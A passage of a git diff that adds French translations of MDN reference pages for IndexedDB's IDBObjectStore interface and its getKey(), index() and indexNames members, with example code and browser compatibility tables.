+<p>Si la clé a bien été retrouvée, alors un clone structuré (une copie conforme) sera créée et servira comme résultat à l'objet de requête.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var request = <em>objectStore</em>.getKey(<em>key</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>key</em></dt>
+ <dd>La clé ou l'intervale de clé qui identifie l'enregistrement à retrouver.</dd>
+</dl>
+
+<h3 id="Return_Value">Return Value</h3>
+
+<p>An {{domxref("IDBRequest")}} object on which subsequent events related to this operation are fired.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>This method may raise a {{domxref("DOMException")}} of one of the following types:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>This {{domxref("IDBObjectStore")}}'s transaction is inactive.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>
+    <p>The key or key range provided contains an invalid key.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>The {{domxref("IDBObjectStore")}} has been deleted or removed.<br>
+     </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">let openRequest = indexedDB.open("telemetry");
+openRequest.onsuccess = (event) =&gt; {
+  let db = event.target.result;
+  let store = db.transaction("netlogs").objectStore("netlogs");
+
+  let today = new Date();
+  let yesterday = new Date(today);
+  yesterday.setDate(today.getDate() - 1);
+  let request = store.getKey(IDBKeyRange(yesterday, today));
+  request.onsuccess = (event) =&gt; {
+    let when = event.target.result;
+    alert("The 1st activity in last 24 hours was occurred at " + when);
+  };
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#dom-idbobjectstore-getkey', 'getKey()')}}</td>
+   <td>{{Spec2('IndexedDB 2')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatGeckoDesktop("51.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatGeckoMobile("51.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/index.html b/files/fr/web/api/idbobjectstore/index.html
new file mode 100644
index 0000000000..b2c219650e
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/index.html
@@ -0,0 +1,238 @@
+---
+title: IDBObjectStore
+slug: Web/API/IDBObjectStore
+translation_of: Web/API/IDBObjectStore
+---
+<p>{{APIRef("IndexedDB")}}</p>
+
+<p>L'interface <strong><code>IDBObjectStore</code></strong> de l'{{domxref("IndexedDB_API","API IndexedDB")}} est un accès aux magasins d'objet de la base de données.</p>
+
+<p>Le magasin d'objet emmagasine des enregistrements. Chaque enregistrement est constitué d'un couple clé/valeur. Chaque valeurs est indexée sur sa clé. Les clés sont triées pour former l'index primaire du magasin. Ce qui permet un accès rapide et ordonnée aux valeurs.</p>
+
+<p>Le magasin d'objet peut en plus de l'index primaire avoir des index qui ordonnent les enregistrements sur d'autres clés. Ces index se mettent automatiquement à jour dans la plupart des cas et permettent de mettre des contraintes d’unicités pour d'autres clés que la clé primaire du magasin d'objet.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("IDBObjectStore.add()")}}</dt>
+ <dd>Une {{domxref("IDBRequest","requête")}} pour ajouter un enregistrement au magasin d'objet relié, un <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#structured-clone">clone structuré</a> de la valeur passé en paramètre et sa clé .</dd>
+ <dt>{{domxref("IDBObjectStore.clear()")}}</dt>
+ <dd>Une {{domxref("IDBRequest","requête")}} pour vider le magasin d'objet relié.</dd>
+ <dt>{{domxref("IDBObjectStore.delete()")}}</dt>
+ <dd>Une {{domxref("IDBRequest","requête")}} de suppression d'enregistrement(s) du magasin d'objet relié.</dd>
+ <dt>{{domxref("IDBObjectStore.get()")}}</dt>
+ <dd>Une {{domxref("IDBRequest","requête")}} pour renvoyer la valeur d'un enregistrement du magasin d'objet relié.</dd>
+ <dt>{{domxref("IDBObjectStore.getAll()")}}</dt>
+ <dd>Une {{domxref("IDBRequest","requête")}} qui renvoie un tableau ordonné suivant les clés, des valeurs de tous les enregistrements du magasin d'objet relié. On peut limité le nombre d'enregistrements en les filtrants suivant leurs clés ou en paramétrant le compteur.</dd>
+ <dt>{{domxref("IDBObjectStore.getAllKeys()")}}</dt>
+ <dd>Une {{domxref("IDBRequest","requête")}} qui renvoie la liste de toutes les clés des enregistrements du magasin d'objet. On peut limité le nombre d'enregistrements en les filtrants suivant leurs clés ou en paramétrant le compteur.</dd>
+ <dt>{{domxref("IDBObjectStore.createIndex()")}}</dt>
+ <dd>Met en place sur le magasin d'objet relié, un nouvel index et en renvoie l'{{domxref("IDBIndex","accès")}}.</dd>
+ <dt>{{domxref("IDBObjectStore.deleteIndex()")}}</dt>
+ <dd>Supprime l'index dont le nom est passé en paramètre, du magasin d'objet relié.</dd>
+ <dt>{{domxref("IDBObjectStore.index()")}}</dt>
+ <dd>L'{{domxref("IDBIndex","accès")}} à l'index dont le nom est passé en paramètre du magasin d'objet relié.</dd>
+ <dt>{{domxref("IDBObjectStore.put()")}}</dt>
+ <dd>Une {{domxref("IDBRequest","requête")}} pour ajouter ou mettre à jour un enregistrement du magasin d'objet relié, un <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#structured-clone">clone structuré</a> de la valeur passée en paramètre et sa clé.</dd>
+ <dt>{{domxref("IDBObjectStore.openCursor()")}}</dt>
+ <dd>Une {{domxref("IDBRequest","requête")}} récursive suivant un {{domxref("IDBCursorWithValue","curseur avec valeur")}} qui itère le magasin d'objet relié.</dd>
+ <dt>{{domxref("IDBObjectStore.openKeyCursor()")}}</dt>
+ <dd>Une {{domxref("IDBRequest","requête")}} récursive suivant un {{domxref("IDBCursor","curseur")}} qui itère le magasin d'objet relié.</dd>
+ <dt>{{domxref("IDBObjectStore.count()")}}</dt>
+ <dd>Une {{domxref("IDBRequest","requête")}} au magasin d'objet relié. La requête compte le nombre d'enregistrements dans ce magasin d'objet ou sur l'{{domxref("IDBKeyRange","intervalle de clé")}} passé en paramètre.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("IDBObjectStore.indexNames")}} {{readonlyInline}}</dt>
+ <dd>La liste des noms d'index du magasin d'objet relié.</dd>
+ <dt>{{domxref("IDBObjectStore.keyPath")}} {{readonlyInline}}</dt>
+ <dd>Le <a href="https://developer.mozilla.org/fr/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB#gloss_keypath">nom de la clé</a> du magasin d'objets relié.</dd>
+ <dt>{{domxref("IDBObjectStore.name")}} {{readonlyInline}}</dt>
+ <dd>Le nom du magasin d'objet relié.</dd>
+ <dt>{{domxref("IDBObjectStore.transaction")}} {{readonlyInline}}</dt>
+ <dd>La {{domxref("IDBTransaction","transaction")}} à laquelle l'accès du magasin d'objet appartient.</dd>
+ <dt>{{domxref("IDBObjectStore.autoIncrement")}} {{readonlyInline}}</dt>
+ <dd>La position du drapeau d’incrémentation automatique du magasin d'objet relié.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple montre différents usages de l'accès au magasin d'objet. On met à jour la structure de donnée avec {{domxref("IDBObjectStore.createIndex")}} dans un gestionnaire d'événement <code>onupgradeneeded</code>. On ajoute un nouvel enregistrement avec {{domxref("IDBObjectStore.add")}}.</p>
+
+<pre class="brush: js">// connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// gère le succès de la connexion
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Connexion ouverte.&lt;/li&gt;';
+
+  //affect la connexion à la variable db.
+  db = DBOpenRequest.result;
+};
+
+// Ce gestionnaire d'événement s'active quand on à besoin d'une nouvelle version de la base de donnée.
+// Si la base n'existais pas avant ou
+// si on ouvre une nouvelle version avec window.indexedDB.open.
+DBOpenRequest.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  db.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Erreur de chargement de la base.&lt;/li&gt;';
+  };
+
+  // Ajoute un magasin d'objets à la base de données
+  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+  // défini des index sur ce magasin
+
+  objectStore.createIndex("hours", "hours", { unique: false });
+  objectStore.createIndex("minutes", "minutes", { unique: false });
+  objectStore.createIndex("day", "day", { unique: false });
+  objectStore.createIndex("month", "month", { unique: false });
+  objectStore.createIndex("year", "year", { unique: false });
+
+  objectStore.createIndex("notified", "notified", { unique: false });
+
+  note.innerHTML += '&lt;li&gt;Le magasin d\'objet est ajouté.&lt;/li&gt;';
+};
+
+// Un nouvel enregistrement à ajouter
+var newItem = [
+ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: 'December', year: 2013, notified: "no" }
+];
+
+// ouvre une transaction en lecture/écriture sur la connexion, prête à ajouter l'enregistrement.
+var transaction = db.transaction(["toDoList"], "readwrite");
+
+// affiche le succès de la transaction
+transaction.oncomplete = function(event) {
+  note.innerHTML += '&lt;li&gt;La transaction à été effectuée.&lt;/li&gt;';
+};
+
+transaction.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;La transaction n\'as pue aboutir.&lt;/li&gt;';
+};
+
+// Un accès à toDoList pour la transaction
+var objectStore = transaction.objectStore("toDoList");
+// Ajoute l'enregistrement au magasin d'objet
+var objectStoreRequest = objectStore.add(newItem[0]);
+
+//l'enregistrement c'est bien passé.
+objectStoreRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;L\'enregistrement à été ajouté au magasin d\'objet.&lt;/li&gt;';
+}</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBObjectStore', 'IDBObjectStore')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponibke dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponibke dans workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/index/index.html b/files/fr/web/api/idbobjectstore/index/index.html
new file mode 100644
index 0000000000..d4f2db4edb
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/index/index.html
@@ -0,0 +1,200 @@
+---
+title: IDBObjectStore.index()
+slug: Web/API/IDBObjectStore/index
+tags:
+  - API
+  - IDBObjectStore
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBObjectStore/index
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>index()</code></strong>, rattachée à l'interface {{domxref("IDBObjectStore")}}, permet d'ouvrir un index sur le magasin d'objet courant pour, par exemple, renvoyer une liste d'enregistrements triés par cet index grâce à un curseur.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">objectStore.index(nomIndex);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nomIndex</code></dt>
+ <dd>Le nom de l'index qu'on souhaite ouvrir.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBIndex")}} qui permet d'accéder à l'index.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher une exception {{domxref("DOMException")}} ayant l'un des types suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>L'objet correspondant au magasin d'objet a été supprimé ou la transaction a été clôturée.</td>
+  </tr>
+  <tr>
+   <td><code>NotFoundError</code></td>
+   <td>Il n'existe pas d'index pour ce nom dans la base de données (la recherche est sensible à la casse).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on ouvre une transaction sur un magasin d'objet et on accède à l'index <code>lName</code> de la base de données. Ensuite, on ouvre un curseur sur l'index grâce à la méthode {{domxref("IDBIndex.openCursor")}} — cela fonctionne de la même façon que d'ouvrir un curseur à même le magasin d'objet grâce à {{domxref("IDBObjectStore.openCursor")}} sauf que, cette fois, les enregistrements sont renvoyés triés selon l'index et non selon la clé primaire.</p>
+
+<p>Enfin, on parcourt chaque enregistrement pour l'ajouter dans un tableau HTML.</p>
+
+<pre class="brush: js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Éléments affichés.');
+    }
+  };
+};</pre>
+
+<div class="note">
+<p><strong>Note :</strong> pour un exemple fonctionnel complet, voir notre <a href="https://github.com/mdn/IDBIndex-example">exemple sur GitHub</a> (<a href="https://mdn.github.io/IDBIndex-example/">la démonstration associée</a>).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-index-IDBIndex-DOMString-name', 'index()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/indexnames/index.html b/files/fr/web/api/idbobjectstore/indexnames/index.html
new file mode 100644
index 0000000000..c3cd0288e6
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/indexnames/index.html
@@ -0,0 +1,188 @@
+---
+title: IDBObjectStore.indexNames
+slug: Web/API/IDBObjectStore/indexNames
+tags:
+  - API
+  - IDBObjectStore
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBObjectStore/indexNames
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>indexNames</code></strong>, rattachée à l'interface {{domxref("IDBObjectStore")}}, renvoie la liste des noms des index pour les objets du magasin d'objets courant.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var myindexNames = objectStore.indexNames;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une liste {{domxref("DOMStringList")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on initialise une transaction de lecture/écriture sur une base de données en ajoutant des données dans un magasin d'objets via la méthode <code>add()</code>. Une fois l'objet créé, on affiche <code>objectStore.indexNames</code> en sortie de la console. Pour un exemple complet et fonctionnel, vous pouvez utiliser notre application <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="https://mdn.github.io/to-do-notifications/">tester la démo</a>).</p>
+
+<pre class="brush: js">// On commence par ouvrir la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Base de données initialisée.&lt;/li&gt;';
+
+  // On enregistre le résultat de l'ouverture
+  // dans la variable db afin de l'utiliser
+  // ensuite
+  db = this.result;
+
+  // On exécute la fonction addData() afin
+  // d'ajouter des données à la base de données
+  addData();
+};
+
+function addData() {
+  // On crée un nouvel objet prêt à être inséré
+  // dans la base de données
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // On ouvre une transaction en lecture/écriture
+  // vers la base de données afin d'ajouter des
+  // données
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // On indique le succès de la transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modification finie.&lt;/li&gt;';
+  };
+
+
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction non-ouverte à cause d'une erreur. Les doublons ne sont pas autorisés.&lt;/li&gt;';
+  };
+
+  // On crée un magasin d'objet pour la transaction
+  // et on affiche indexNames dans la console
+  var objectStore = transaction.objectStore("toDoList");
+  console.log(objectStore.indexNames);
+
+  // On ajoute l'objet newItem au magasin d'objets
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // On indique le succès de l'ajout de l'objet
+    // dans la base de données
+    note.innerHTML += '&lt;li&gt;Un nouvel élément a été ajouté dans la base de données.&lt;/li&gt;';
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-indexNames', 'indexNames')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
